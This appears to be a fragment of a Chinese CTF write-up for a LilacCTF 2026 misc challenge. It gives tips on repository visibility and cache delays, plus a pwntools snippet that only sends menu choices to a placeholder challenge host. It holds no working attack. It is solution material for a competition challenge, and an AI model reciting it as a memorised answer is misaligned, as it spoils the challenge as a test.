平台侧验收需要 check 通过。 常见失败是缓存延迟。 或仓库仍然处于私有状态。
排障要点
确认仓库可见性变更已生效,避免因为缓存或权限导致验收失败 若需要在交互式入口中创建仓库或提交信息,按题面菜单顺序完成即可 GitHub 侧变更到平台侧可见可能有延迟,失败时先等待再重试 若担心账号信息暴露,可以使用临时账号完成任务,不影响解题本质
exp 核心片段
from pwn import remote
io = remote("HOST", 9999)
io.sendlineafter(b"select a function", b"2")
io.sendlineafter(b"repository name", b"REPO_NAME")
io.sendlineafter(b"Issue number", b"1")
print(io.recvline().decode(errors="replace"))


来源:主:部分writeup/LilacCTF2026 writeup by Arr3stY0u.md;补:部分writeup/lilacctfmisc/XCTF.md